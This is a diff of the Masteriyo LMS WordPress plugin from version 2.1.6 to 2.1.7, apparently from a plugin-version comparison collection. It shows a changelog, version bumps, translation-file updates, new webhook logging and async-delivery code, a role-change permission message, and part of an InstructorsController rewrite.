!important"},".react-datepicker-wrapper,\n.react-datepicker__input-container":{display:"block"},".react-datepicker__header":{borderRadius:"0",background:"primary.100"},".react-datepicker__navigation":{top:"8px"},".react-datepicker,\n.react-datepicker__header,\n.react-datepicker__time-container":{borderColor:"#e2e8f0"},".react-datepicker__current-month,\n.react-datepicker-time__header,\n.react-datepicker-year-header":{fontSize:"inherit",fontWeight:600},".react-datepicker__time-container .react-datepicker__time .react-datepicker__time-box ul.react-datepicker__time-list li.react-datepicker__time-list-item":{margin:"0 1px 0 0",height:"auto",padding:"7px 10px","&:hover":{background:"#edf2f7"}},".react-datepicker__day:hover":{background:"#edf2f7"},".react-datepicker__day--selected,\n.react-datepicker__day--in-selecting-range,\n.react-datepicker__day--in-range,\n.react-datepicker__month-text--selected,\n.react-datepicker__month-text--in-selecting-range,\n.react-datepicker__month-text--in-range,\n.react-datepicker__time-container .react-datepicker__time .react-datepicker__time-box ul.react-datepicker__time-list li.react-datepicker__time-list-item--selected":{background:"#3182ce",fontWeight:"normal","&:hover":{background:"#2a69ac"}},".react-datepicker__triangle":{display:"none"},".quiz-question-name":{"& ol, & ul":{marginLeft:"25px"},"& ul":{listStyleType:"disc"}}},".chakra-collapse":{overflow:"visible !important"},".masteriyo-user-onboarding-wizard .business-type .chakra-stack.css-1nc7z9e, .sample-courses .chakra-stack.css-1nc7z9e":{paddingTop:"22px",textAlign:"center"},".parsed-quiz-question-name":{".wp-audio-shortcode":{"min-width":"300px !important"}},".account_page_table":{width:"100%",tableLayout:"fixed",borderCollapse:"unset !important",borderSpacing:0,border:"1px solid #E2E8F0",borderRadius:"8px",overflow:"hidden",backgroundColor:"white"},".account_page_table_head":{color:"#07092F",backgroundColor:"#F7F7F7",tr:{th:{textAlign:"start !important",verticalAlign:"bottom",padding:"20px !important",fontSize:"sm !important",fontWeight:"bold",textTransform:"none !important",borderBottom:"1px solid #1a0505ff !important"}}},".account_page_table_head_with_2_cols":{color:"#07092F",backgroundColor:"#F7F7F7 ",tr:{th:{verticalAlign:"bottom",padding:"20px !important",fontSize:"sm !important",fontWeight:"bold",textTransform:"none !important","&:first-child":{borderTopLeftRadius:"8px",paddingLeft:"20px !important"},"&:last-child":{textAlign:"right !important",borderTopRightRadius:"8px",paddingRight:"20px !important"}}}},".account_page_table_body":{tr:{"&:first-child":{td:{border:"none !important","&:first-child":{paddingLeft:"20px !important"},"&:last-child":{paddingRight:"20px !important"}}},td:{backgroundColor:"white !important",verticalAlign:"middle",padding:"20px !important",fontSize:"sm !important",color:"#07092F !important",fontWeight:"normal !important",lineHeight:1.4,borderTop:"1px solid #E6E6E6 !important","&:first-child":{paddingLeft:"20px !important"},"&:last-child":{paddingRight:"20px !important"}},"&:last-child":{td:{backgroundColor:"transparent !important"}}}},".account_page_table_footer":{bgColor:"off-white"}}},shadows:{box:"0px 0px 60px rgba(0, 0, 0, 0.08)",input:"0px 1px 0px #EFF0F6",button:"0px 4px 14px rgba(0, 0, 0, 0.13)",boxl:"0px 0px 60px rgba(0, 0, 0, 0.15)",header:"0px 2px 15px rgba(0, 0, 0, 0.04)",question:"0px 2px 15px rgba(0, 0, 0, 0.08)"},components:{Popover:{baseStyle:{popper:{width:"fit-content",maxWidth:"fit-content"}}},Button:{defaultProps:{colorScheme:"primary",variant:"solid"},baseStyle:{borderRadius:"base",fontWeight:500,fontSize:"14px !important",lineHeight:"20px",letterSpacing:"0%",textAlign:"center",px:"16px",py:"8px",gap:2,".chakra-button__icon":{mx:"0 !important"},_hover:{textDecoration:"none",_disabled:{bg:"inherit !important",color:"inherit !important",borderColor:"inherit !important",boxShadow:"none !important",cursor:"not-allowed"}}},sizes:{md:{fontSize:"xs"},sm:{fontSize:"xs"}},variants:{solid:e=>({px:"16px",py:"8px",gap:"8px",bg:"".concat(e.colorScheme||"primary",".500"),color:"white",shadow:"button",_hover:{bg:"".concat(e.colorScheme||"primary",".600"),color:"white",_disabled:{bg:"".concat(e.colorScheme||"primary",".500"),color:"white",cursor:"not-allowed",pointerEvents:"none",svg:{color:"white",fill:"white"}}},_active:{bg:"".concat(e.colorScheme||"primary",".700")}}),outline:e=>({px:"16px",py:"8px",gap:"8px",borderColor:"".concat(e.colorScheme||"primary",".500"),color:"".concat(e.colorScheme||"primary",".500"),iconSpacing:0,_hover:{bg:"".concat(e.colorScheme||"primary",".500"),color:"white",borderColor:"".concat(e.colorScheme||"primary",".500"),_disabled:{bg:"transparent",color:"".concat(e.colorScheme||"primary",".500"),borderColor:"".concat(e.colorScheme||"primary",".500")}},_active:{bg:"".concat(e.colorScheme||e.bg||"primary",".500"),color:"white",svg:{color:"white",fill:"white"}}}),ghost:e=>({px:"16px",py:"8px",gap:"8px",bg:"tertiary.500",_hover:{bg:"tertiary.600",_disabled:{bg:"tertiary.500"}}}),icon:{fontSize:"lg",minW:"auto",height:"auto",svg:{width:"1em",height:"1em"}},pagination:{bg:"primary.100",w:"8",h:"8",_hover:{bg:"primary.400"}}}},IconButton:{defaultProps:{colorScheme:"primary",variant:"solid"},baseStyle:{rounded:"base !important",px:"16px",py:"12px","&:only-child":{margin:"0 !important"}},variants:{solid:e=>({bg:"".concat(e.colorScheme||"primary",".500"),color:"white",_hover:{bg:"".concat(e.colorScheme||"primary",".600"),_disabled:{bg:"".concat(e.colorScheme||"primary",".500")}},_active:{color:"inherit"}}),outline:e=>({borderColor:"".concat(e.colorScheme||"primary",".500"),color:"".concat(e.colorScheme||"primary",".500"),_hover:{bg:"".concat(e.colorScheme||"primary",".500"),color:"white",borderColor:"".concat(e.colorScheme||"primary",".500"),_disabled:{bg:"transparent",color:"".concat(e.colorScheme||"primary",".500"),borderColor:"".concat(e.colorScheme||"primary",".500")}},_active:{color:"inherit"}}),ghost:e=>({bg:"tertiary.500",_hover:{bg:"tertiary.600",_disabled:{bg:"tertiary.500"}},_active:{color:"inherit"}})}},Input:{variants:{outline:{addon:{bg:"#f8f8f8",borderRadius:"base",fontSize:"md"}}},defaultProps:{_placeholder:{color:"red"}}},FormLabel:{baseStyle:{color:"var(--Gray-400, #383838)",fontSize:"14px",fontStyle:"normal",fontWeight:400,lineHeight:"24px",mb:"3"}},Select:{baseStyle:e=>({icon:{insetInlineStart:"rtl"===e.theme.direction?"0.5rem":"auto",insetInlineEnd:"ltr"===e.theme.direction?"0.5rem":"auto"}})},Text:{baseStyle:{margin:"0"}},Modal:{baseStyle:{overlay:{bg:"rgba(0,0,0,0.5)",zIndex:999},dialog:{zIndex:9999}},sizes:{fullSpacing:{dialog:{w:"100%",maxW:"800px",minH:"400px",maxH:"calc(100vh - 80px)"}}}},Radio:{sizes:{md:{label:{fontSize:"sm"}}}},Heading:{baseStyle:{m:"0"}},Tooltip:{baseStyle:{fontStyle:"normal",letterSpacing:"0",bg:"white !important",color:"#383838",lineHeight:5,boxShadow:"0px 6px 24px 0px rgba(10,10,10,0.1)","--popper-arrow-bg":"white",fontSize:"sm",borderRadius:"base",border:"1px solid",borderImageSlice:1,borderImageSource:"linear-gradient(180deg, rgba(235,235,235,0.1) 0%, #EBEBEB 79.93%)",py:2,px:4,fontWeight:"normal",zIndex:"9999","[data-popper-arrow]":{border:"none","--popper-arrow-bg":"white",boxShadow:"0px 6px 24px 0px rgba(10,10,10,0.1)",pointerEvents:"none",svg:{width:"16px",height:"8px",display:"block",overflow:"visible","path, polygon":{fill:"var(--popper-arrow-bg)",stroke:"#EBEBEB",strokeWidth:"1px",vectorEffect:"non-scaling-stroke",strokeLinejoin:"round"}}},_hover:{bg:"white !important",color:"#222222"}}}}});const fx=()=>{var e=new o.E({defaultOptions:{queries:{refetchOnWindowFocus:!1,refetchOnReconnect:!1,retry:!1}}});return(0,c.register)(Bm),l().createElement(i.s,{theme:vx},l().createElement(Pe,null,l().createElement(pt,{showSupport:"yes"==(null==R?void 0:R.isCurrentUserAdmin)},l().createElement(s.Ht,{client:e},l().createElement(m.E,{initialIsOpen:!1}),l().createElement(_,null,l().createElement(O,null,l().createElement(yt,null,l().createElement(gx,{initial:{selectedTemplate:null,items:[]}},l().createElement(mx,null)))))))))};r.createRoot(document.getElementById("masteriyo")).render(l().createElement(fx,null))},51609:e=>{e.exports=window.React},75795:e=>{e.exports=window.ReactDOM},10790:e=>{e.exports=window.ReactJSXRuntime},66087:e=>{e.exports=window.lodash},1455:e=>{e.exports=window.wp.apiFetch},94715:e=>{e.exports=window.wp.blockEditor},11744:e=>{e.exports=window.wp.blockLibrary},74997:e=>{e.exports=window.wp.blocks},56427:e=>{e.exports=window.wp.components},29491:e=>{e.exports=window.wp.compose},47143:e=>{e.exports=window.wp.data},64040:e=>{e.exports=window.wp.deprecated},28107:e=>{e.exports=window.wp.dom},43656:e=>{e.exports=window.wp.editor},86087:e=>{e.exports=window.wp.element},82005:e=>{e.exports=window.wp.formatLibrary},27723:e=>{e.exports=window.wp.i18n},20923:e=>{e.exports=window.wp.isShallowEqual},53031:e=>{e.exports=window.wp.keyboardShortcuts},48558:e=>{e.exports=window.wp.keycodes},92279:e=>{e.exports=window.wp.plugins},41233:e=>{e.exports=window.wp.preferences},5573:e=>{e.exports=window.wp.primitives},13053:e=>{e.exports=window.wp.privateApis},26873:e=>{e.exports=window.wp.viewport}},n={};function a(e){var l=n[e];if(void 0!==l)return l.exports;var r=n[e]={id:e,loaded:!1,exports:{}};return t[e].call(r.exports,r,r.exports,a),r.loaded=!0,r.exports}a.m=t,e=[],a.O=(t,n,l,r)=>{if(!n){var i=1/0;for(c=0;c<e.length;c++){for(var[n,l,r]=e[c],o=!0,s=0;s<n.length;s++)(!1&r||i>=r)&&Object.keys(a.O).every((e=>a.O[e](n[s])))?n.splice(s--,1):(o=!1,r<i&&(i=r));if(o){e.splice(c--,1);var m=l();void 0!==m&&(t=m)}}return t}r=r||0;for(var c=e.length;c>0&&e[c-1][2]>r;c--)e[c]=e[c-1];e[c]=[n,l,r]},a.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return a.d(t,{a:t}),t},a.d=(e,t)=>{for(var n in t)a.o(t,n)&&!a.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},a.e=()=>Promise.resolve(),a.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),a.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),a.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},a.nmd=e=>(e.paths=[],e.children||(e.children=[]),e),a.j=933,(()=>{var e={933:0};a.O.j=t=>0===e[t];var t=(t,n)=>{var l,r,[i,o,s]=n,m=0;if(i.some((t=>0!==e[t]))){for(l in o)a.o(o,l)&&(a.m[l]=o[l]);if(s)var c=s(a)}for(t&&t(n);m<i.length;m++)r=i[m],a.o(e,r)&&e[r]&&e[r][0](),e[r]=0;return a.O(c)},n=self.webpackChunklearning_management_system=self.webpackChunklearning_management_system||[];n.forEach(t.bind(null,0)),n.push=t.bind(null,n.push.bind(n))})(),a.nc=void 0;var l=a.O(void 0,[520],(()=>a(28395)));l=a.O(l)})(); \ No newline at end of file @@ -1,4 +1,14 @@ == Changelog == += 2.1.7 - 25-03-2026 = +- Enhancement - Improve webhook delivery reliability, expand lesson completion tracking coverage, and add observability. +- Enhancement - Extend Two-Factor Authentication OTP support to WordPress admin login popup. [PRO] +- Enhancement - Add PDF download enable/disable toggle option for PDF lessons. [PRO] +- Fix - Enhance security. +- Fix - Fix log file download and incorrect filename issues in the logs tool. +- Fix - Make the course name a clickable link on the account page. +- Fix - Exclude deleted users from course analytics student count. [PRO] +- Fix - Prevent duplicate contact errors in HubSpot integration during user registration. [PRO] + = 2.1.6 - 11-03-2026 = - Fix - Security issue related to Stripe addon. - Fix - Course archive page default layout Elementor template not importing. @@ -1,7 +1,7 @@ { "name": "masteriyo/masteriyo", "description": "An WordPress LMS plugin", - "version": "2.1.6", + "version": "2.1.7", "homepage": "https://example.com", "license": "GPL-2.0-or-later", "type": "wordpress-plugin", @@ -2,14 +2,14 @@ # This file is distributed under the GNU General Public License v3.0. msgid "" msgstr "" -"Project-Id-Version: Masteriyo LMS 2.1.6\n" +"Project-Id-Version: Masteriyo LMS 2.1.7\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/learning-management-system\n" "Last-Translator: FULL NAME <EMAIL@ADDRESS>\n" "Language-Team: LANGUAGE <LL@li.org>\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" -"POT-Creation-Date: 2026-03-11T07:03:35+00:00\n" +"POT-Creation-Date: 2026-03-25T05:39:44+00:00\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "X-Generator: WP-CLI 2.13.0-alpha\n" "X-Domain: learning-management-system\n" @@ -1379,7 +1379,7 @@ msgstr "" #: includes/FormHandler/PasswordResetFormHandler.php:60 -#: includes/RestApi/Controllers/Version1/UsersController.php:1867 +#: includes/RestApi/Controllers/Version1/UsersController.php:1875 msgid "New password cannot be the same as the old password." msgstr "" @@ -2883,11 +2883,11 @@ msgid "Active" msgstr "" -#: includes/Helper/webhook.php:248 +#: includes/Helper/webhook.php:261 msgid "Delivery URL not specified" msgstr "" -#: includes/Helper/webhook.php:252 +#: includes/Helper/webhook.php:264 msgid "Invalid Delivery URL" msgstr "" @@ -5691,6 +5691,11 @@ msgid "Instructor approved." msgstr "" +#: includes/RestApi/Controllers/Version1/InstructorsController.php:213 +#: includes/RestApi/Controllers/Version1/UsersController.php:1776 +msgid "Sorry, you are not allowed to change roles." +msgstr "" + #: includes/RestApi/Controllers/Version1/LessonReviewsController.php:447 msgid "Limit result set to lesson reviews assigned to specific lesson IDs." msgstr "" @@ -7839,32 +7844,32 @@ msgid "Sorry, invalid old password." msgstr "" -#: includes/RestApi/Controllers/Version1/UsersController.php:1830 +#: includes/RestApi/Controllers/Version1/UsersController.php:1838 msgid "Confirm Your Email Change" msgstr "" #. translators: %s: user email -#: includes/RestApi/Controllers/Version1/UsersController.php:1834 +#: includes/RestApi/Controllers/Version1/UsersController.php:1842 #, php-format msgid "You requested to change your email to <strong>%s</strong>. Please confirm this change by clicking the link below:" msgstr "" #. translators: %s: user email -#: includes/RestApi/Controllers/Version1/UsersController.php:1846 +#: includes/RestApi/Controllers/Version1/UsersController.php:1854 #, php-format msgid "Your email address has not been updated yet. Please check your inbox at %s for a confirmation email." msgstr "" -#: includes/RestApi/Controllers/Version1/UsersController.php:1856 +#: includes/RestApi/Controllers/Version1/UsersController.php:1864 msgid "There was an error sending the confirmation email. Please try again." msgstr "" -#: includes/RestApi/Controllers/Version1/UsersController.php:1877 -#: includes/RestApi/Controllers/Version1/UsersController.php:1887 +#: includes/RestApi/Controllers/Version1/UsersController.php:1885 +#: includes/RestApi/Controllers/Version1/UsersController.php:1895 msgid "Old password does not match. Please verify your current password and try again." msgstr "" -#: includes/RestApi/Controllers/Version1/UsersController.php:1920 +#: includes/RestApi/Controllers/Version1/UsersController.php:1928 msgid "No QR code available. Please generate one first." msgstr "" @@ -117,6 +117,21 @@ return true; } - return empty( $post_id ) || user_can( $webhook->get_author_id(), 'manage_masteriyo_settings' ) || user_can( $webhook->get_author_id(), 'edit_course', $post_id ); + $can_deliver = empty( $post_id ) || user_can( $webhook->get_author_id(), 'manage_masteriyo_settings' ) || user_can( $webhook->get_author_id(), 'edit_course', $post_id ); + + if ( ! $can_deliver ) { + masteriyo_get_logger()->warning( + sprintf( + 'Webhook delivery blocked (no permission): webhook_id=%d, event=%s, author_id=%d, post_id=%d.', + $webhook->get_id(), + $this->get_name(), + $webhook->get_author_id(), + $post_id + ), + array( 'source' => 'webhooks-delivery' ) + ); + } + + return $can_deliver; } -} +} \ No newline at end of file @@ -26,6 +26,8 @@ use Masteriyo\Listeners\Webhook\NewInstructorRegistrationListener; use Masteriyo\Listeners\Webhook\QuizAttemptStatusChangeListener; use Masteriyo\Listeners\Webhook\QuizCompletedListener; +use Masteriyo\Listeners\Webhook\NewOrderListener; + /** * Get webhook. @@ -53,7 +55,7 @@ $webhook_obj->set_id( $id ); $webhook_store->read( $webhook_obj ); } catch ( \Exception $e ) { - return null; + $webhook_obj = null; } /** @@ -99,6 +101,7 @@ NewCourseReviewListener::class, NewCourseQuestionListener::class, NewCourseQuestionReplyListener::class, + NewOrderListener::class, ) ) ); @@ -106,7 +109,17 @@ $listeners = array_filter( $listeners, function( $listener ) { - return class_exists( $listener ) && is_subclass_of( $listener, Listener::class ); + $valid = class_exists( $listener ) && is_subclass_of( $listener, Listener::class ); + if ( ! $valid ) { + masteriyo_get_logger()->warning( + sprintf( + 'Webhook listener skipped: class "%s" does not exist or does not extend Listener.', + $listener + ), + array( 'source' => 'webhooks-delivery' ) + ); + } + return $valid; } ); @@ -248,12 +261,27 @@ throw new Exception( __( 'Delivery URL not specified', 'learning-management-system' ) ); } if ( ! wp_http_validate_url( $delivery_url ) ) { - throw new Exception( __( 'Invalid Delivery URL', 'learning-management-system' ) ); } $response = wp_safe_remote_request( $delivery_url, $http_args ); + // Log the HTTP response for every delivery attempt. + if ( is_wp_error( $response ) ) { + masteriyo_get_logger()->error( + 'Webhook HTTP request failed: event=' . print_r( $event_name, true ) . ', url=' . print_r( $delivery_url, true ) . ', error_code=' . print_r( $response->get_error_code(), true ) . ', error=' . print_r( $response->get_error_message(), true ), + array( 'source' => 'webhooks-delivery' ) + ); + } else { + $response_code = wp_remote_retrieve_response_code( $response ); + $response_message = wp_remote_retrieve_response_message( $response ); + $log_level = ( $response_code >= 200 && $response_code < 300 ) ? 'info' : 'warning'; + masteriyo_get_logger()->$log_level( + 'Webhook HTTP response: event=' . print_r( $event_name, true ) . ', url=' . print_r( $delivery_url, true ) . ', http_code=' . print_r( $response_code, true ) . ', message=' . print_r( $response_message, true ), + array( 'source' => 'webhooks-delivery' ) + ); + } + /** * Fires after webhook is delivered. * @@ -273,4 +301,4 @@ throw new Exception( $error_message, $error_code ); } -} +} \ No newline at end of file @@ -40,7 +40,7 @@ * @since 1.6.9 */ protected function init_hooks() { - add_action( self::HOOK, array( $this, 'deliver_webhook' ), 10, 3 ); + add_action( self::HOOK, array( $this, 'deliver_webhook' ), 10, 1 ); } /** @@ -48,15 +48,68 @@ * * @since 1.6.9 * - * @param string $event_name - * @param array $webhook - * @param array $payload + * @param string $transient_key Transient key storing event_name, webhook, and payload. */ - public function deliver_webhook( $event_name, $webhook, $payload ) { + public function deliver_webhook( $transient_key ) { + masteriyo_get_logger()->info( + sprintf( + 'Webhook job started: transient_key="%s".', + $transient_key + ), + array( 'source' => 'webhooks-delivery' ) + ); + + $data = get_transient( $transient_key ); + + if ( ! $data ) { + masteriyo_get_logger()->warning( + sprintf( + 'Webhook job: data not found or expired for transient_key="%s". Skipping.', + $transient_key + ), + array( 'source' => 'webhooks-delivery' ) + ); + return; + } + + delete_transient( $transient_key ); + + $event_name = $data['event_name']; + $webhook = $data['webhook']; + $payload = $data['payload']; + + masteriyo_get_logger()->info( + sprintf( + 'Webhook job delivering: event="%s", webhook_id=%d, url="%s".', + $event_name, + $webhook['id'] ?? 0, + $webhook['delivery_url'] ?? 'unknown' + ), + array( 'source' => 'webhooks-delivery' ) + ); + try { masteriyo_send_webhook( $event_name, $webhook, $payload ); + + masteriyo_get_logger()->info( + sprintf( + 'Webhook job completed successfully: event="%s", webhook_id=%d.', + $event_name, + $webhook['id'] ?? 0 + ), + array( 'source' => 'webhooks-delivery' ) + ); } catch ( Exception $e ) { + masteriyo_get_logger()->error( + sprintf( + 'Webhook job failed: event="%s", webhook_id=%d, error="%s".', + $event_name, + $webhook['id'] ?? 0, + $e->getMessage() + ), + array( 'source' => 'webhooks-delivery' ) + ); error_log( 'Webhook: ' . $e->getMessage() ); } } -} +} \ No newline at end of file @@ -53,7 +53,15 @@ add_action( 'masteriyo_new_course_progress_item', function( $id, $progress_item ) use ( $deliver_callback, $webhook ) { - if ( 'lesson' !== $progress_item->get_item_type() || ! $this->can_deliver( $webhook, $progress_item->get_course_id() ) ) { + if ( 'lesson' !== $progress_item->get_item_type() ) { + return; + } + + if ( ! $progress_item->get_completed() ) { + return; + } + + if ( ! $this->can_deliver( $webhook, $progress_item->get_course_id() ) ) { return; } @@ -68,6 +76,33 @@ 10, 2 ); + + add_action( + 'masteriyo_course_progress_item_completion_status_changed', + function( $progress_item, $old_status, $new_status ) use ( $deliver_callback, $webhook ) { + if ( 'lesson' !== $progress_item->get_item_type() ) { + return; + } + + if ( 'completed' !== $new_status ) { + return; + } + + if ( ! $this->can_deliver( $webhook, $progress_item->get_course_id() ) ) { + return; + } + + call_user_func_array( + $deliver_callback, + array( + WebhookResource::to_array( $webhook ), + $this->get_payload( $progress_item, $webhook ), + ) + ); + }, + 10, + 3 + ); } /** @@ -110,4 +145,4 @@ */ return apply_filters( "masteriyo_webhook_payload_for_{$this->event_name}", $data, $webhook, $this, $progress_item ); } -} +} \ No newline at end of file Only in /home/deploy/wp-safety.org/data/plugin-versions/learning-management-system/2.1.7/includes/Listeners/Webhook: NewOrderListener.php @@ -26,32 +26,6 @@ */ class WebhookServiceProvider extends AbstractServiceProvider implements BootableServiceProviderInterface { /** - * This is where the magic happens, within the method you can - * access the container and register or retrieve anything - * that you need to, but remember, every alias registered - * within this method must be declared in the `$provides` array. - * - * @since 1.6.9 - */ - public function register(): void { - $this->getContainer()->add( 'webhook.store', WebhookRepository::class ); - - $this->getContainer()->add( 'webhook.rest', WebhooksController::class ) - ->addArgument( 'permission' ); - $this->getContainer()->add( 'webhook', Webhook::class ) - ->addArgument( 'webhook.store' ); - - // Register based on post type. - $this->getContainer()->add( 'mto-webhook.store', WebhookRepository::class ); - - $this->getContainer()->add( 'mto-webhook.rest', WebhooksController::class ) - ->addArgument( 'permission' ); - - $this->getContainer()->add( 'mto-webhook', Webhook::class ) - ->addArgument( 'mto-webhook.store' ); - } - - /** * The provided array is a way to let the container * know that a service is provided by this service * provider. Every service that is registered via @@ -81,11 +55,38 @@ } /** + * This is where the magic happens, within the method you can + * access the container and register or retrieve anything + * that you need to, but remember, every alias registered + * within this method must be declared in the `$provides` array. + * + * @since 1.6.9 + */ + public function register(): void { + $this->getContainer()->add( 'webhook.store', WebhookRepository::class ); + + $this->getContainer()->add( 'webhook.rest', WebhooksController::class ) + ->addArgument( 'permission' ); + $this->getContainer()->add( 'webhook', Webhook::class ) + ->addArgument( 'webhook.store' ); + + // Register based on post type. + $this->getContainer()->add( 'mto-webhook.store', WebhookRepository::class ); + + $this->getContainer()->add( 'mto-webhook.rest', WebhooksController::class ) + ->addArgument( 'permission' ); + + $this->getContainer()->add( 'mto-webhook', Webhook::class ) + ->addArgument( 'mto-webhook.store' ); + } + + /** * This method is called after all service providers are registered. * * @since 1.6.9 */ public function boot(): void { + ( new WebhookDeliveryJob() )->init(); add_action( 'init', array( $this, 'register_webhook_listeners' ) ); } @@ -99,7 +100,7 @@ return; } - $query = new WebhookQuery( + $query = new WebhookQuery( array( 'status' => array( WebhookStatus::ACTIVE ), 'paginate' => false, @@ -107,6 +108,7 @@ 'limit' => -1, ) ); + $webhooks = $query->get_webhooks(); $listeners = masteriyo_get_webhook_listeners(); @@ -132,21 +134,58 @@ try { masteriyo_send_webhook( $event_name, $webhook, $payload ); } catch ( Exception $e ) { + masteriyo_get_logger()->error( + sprintf( + 'Webhook delivery failed (sync): event="%s", webhook_id=%d, error="%s".', + $event_name, + $webhook['id'] ?? 0, + $e->getMessage() + ), + array( 'source' => 'webhooks-delivery' ) + ); error_log( 'Webhook: ' . $e->getMessage() ); } }; if ( $queue ) { $deliver_callback = function( $webhook, $payload ) use ( $event_name ) { - as_enqueue_async_action( - WebhookDeliveryJob::HOOK, + // AS enforces a 191-char JSON limit on args. Store the full + // payload in a transient and pass only the transient key to AS. + $transient_key = 'masteriyo_webhook_' . wp_generate_uuid4(); + set_transient( + $transient_key, array( 'event_name' => $event_name, 'webhook' => $webhook, 'payload' => $payload, ), + HOUR_IN_SECONDS + ); + + masteriyo_get_logger()->info( + sprintf( + 'Queuing async webhook delivery: event="%s", webhook_id=%d, transient_key="%s".', + $event_name, + $webhook['id'] ?? 0, + $transient_key + ), + array( 'source' => 'webhooks-delivery' ) + ); + + $as_job_id = as_enqueue_async_action( + WebhookDeliveryJob::HOOK, + array( 'transient_key' => $transient_key ), 'masteriyo-webhooks' ); + + masteriyo_get_logger()->info( + sprintf( + 'AS job enqueued: action_id=%d, transient_key="%s".', + (int) $as_job_id, + $transient_key + ), + array( 'source' => 'webhooks-delivery' ) + ); }; } @@ -154,4 +193,4 @@ } } } -} +} \ No newline at end of file @@ -1,380 +1,408 @@ -<?php -/** - * Instructor controller class. - * - * @since 1.3.0 - * - * @package Masteriyo\RestApi\Controllers\Version1; - */ - -namespace Masteriyo\RestApi\Controllers\Version1; - -defined( 'ABSPATH' ) || exit; - -use Masteriyo\Enums\UserStatus; -use Masteriyo\Helper\Permission; -use Masteriyo\RestApi\Controllers\Version1\UsersController; - -/** - * Instructor controller class. - */ -class InstructorsController extends UsersController { - /** - * Endpoint namespace. - * - * @var string - */ - protected $namespace = 'masteriyo/v1'; - - /** - * Route base. - * - * @var string - */ - protected $rest_base = 'users/instructors'; - - /** - * Post type. - * - * @var string - */ - protected $object_type = 'instructor'; - - /** - * If object is hierarchical. - * - * @var bool - */ - protected $hierarchical = false; - - /** - * Permission class. - * - * @since 1.3.0 - * - * @var Masteriyo\Helper\Permission; - */ - protected $permission = null; - - /** - * Constructor. - * - * @since 1.3.0 - * - * @param Permission $permission Permission instance. - */ - public function __construct( ?Permission $permission = null ) { - $this->permission = $permission; - } - - /** - * Get the query params for collections of attachments. - * - * @since 1.3.0 - * @deprecated 1.5.0 - * - * @return array - */ - public function get_collection_params() { - $params = parent::get_collection_params(); - - $params['approved'] = array( - 'description' => __( 'Whether the instructor is approved or not.', 'learning-management-system' ), - 'type' => 'boolean', - 'validate_callback' => 'rest_validate_request_arg', - ); - - /** - * Filters instructors collection query params. - * - * @since 1.3.0 - * - * @param array $params The collection query params. - */ - return apply_filters( 'masteriyo_instructor_collection_params', $params ); - } - - /** - * Get the User's schema, conforming to JSON Schema. - * - * @since 1.3.0 - * @deprecated 1.5.0 - * - * @return array - */ - public function get_item_schema() { - $schema = parent::get_item_schema(); - - unset( $schema['properties']['roles'] ); - - $schema['properties'] = array_merge( - $schema['properties'], - array( - 'approved' => array( - 'description' => __( 'Instructor approved.', 'learning-management-system' ), - 'type' => 'boolean', - 'context' => array( 'view', 'edit' ), - ), - ) - ); - - return $schema; - } - - /** - * Prepare objects query. - * - * @param WP_REST_Request $request Full details about the request. - * - * @since 1.3.0 - * @deprecated 1.5.0 - * - * @return array - */ - protected function prepare_objects_query( $request ) { - $args = parent::prepare_objects_query( $request ); - $args['role'] = array( 'masteriyo_instructor' ); - - if ( isset( $request['approved'] ) ) { - if ( true === $request['approved'] ) { - $args['user_status'] = UserStatus::ACTIVE; - } else { - $args['user_status'] = UserStatus::INACTIVE; - } - } - - return $args; - } - - /** - * Get object. - * - * @since 1.3.0 - * - * @param int|WP_user|Model $object Object ID or WP_user or Model. - * - * @return object Model object or WP_Error object. - */ - protected function get_object( $object ) { - try { - if ( is_int( $object ) ) { - $id = $object; - } else { - $id = is_a( $object, '\WP_User' ) ? $object->ID : $object->get_id(); - } - $instructor = masteriyo( 'instructor' ); - $instructor->set_id( $id ); - $instructor_repo = masteriyo( 'user.store' ); - $instructor_repo->read( $instructor ); - } catch ( \Exception $e ) { - return false; - } - - return $instructor; - } - - /** - * Get instructor data. - * - * @since 1.3.0 - * - * @param Instructor $instructor instructor instance. - * @param string $context Request context. - * Options: 'view' and 'edit'. - * - * @return array - */ - protected function get_user_data( $instructor, $context = 'view' ) { - - $data = parent::get_user_data( $instructor, $context ); - - return $data; - } - - /** - * Prepare a single user object for create or update. - * - * @since 1.3.0 - * - * @param WP_REST_Request $request Request object. - * @param bool $creating If is creating a new object. - * - * @return WP_Error|Masteriyo\Database\Model - */ - protected function prepare_object_for_database( $request, $creating = false ) { - $id = isset( $request['id'] ) ? absint( $request['id'] ) : 0; - $instructor = masteriyo( 'instructor' ); - - if ( 0 !== $id ) { - $instructor->set_id( $id ); - $instructor_repo = masteriyo( 'user.store' ); - $instructor_repo->read( $instructor ); - } - - // User's username. - if ( isset( $request['username'] ) ) { - $instructor->set_username( $request['username'] ); - } - - // User's password. - if ( isset( $request['password'] ) ) { - $instructor->set_password( $request['password'] ); - } - - // User's nicename. - if ( isset( $request['nicename'] ) ) { - $instructor->set_nicename( $request['nicename'] ); - } - - // User's email. - if ( isset( $request['email'] ) ) { - $instructor->set_email( $request['email'] ); - } - - // User's url. - if ( isset( $request['url'] ) ) { - $instructor->set_url( $request['url'] ); - } - - // User's activation_key. - if ( isset( $request['activation_key'] ) ) { - $instructor->set_activation_key( $request['activation_key'] ); - } - - // User's status. - if ( isset( $request['status'] ) ) { - $instructor->set_status( $request['status'] ); - } - - // User's display_name. - if ( isset( $request['display_name'] ) ) { - $instructor->set_display_name( $request['display_name'] ); - } - - // User's nickname. - if ( isset( $request['nickname'] ) ) { - $instructor->set_nickname( $request['nickname'] ); - } - - // User's first_name. - if ( isset( $request['first_name'] ) ) { - $instructor->set_first_name( $request['first_name'] ); - } - - // User's last_name. - if ( isset( $request['last_name'] ) ) { - $instructor->set_last_name( $request['last_name'] ); - } - - // User's description. - if ( isset( $request['description'] ) ) { - $instructor->set_description( $request['description'] ); - } - - // User's rich_editing. - if ( isset( $request['rich_editing'] ) ) { - $instructor->set_rich_editing( $request['rich_editing'] ); - } - - // User's syntax_highlighting. - if ( isset( 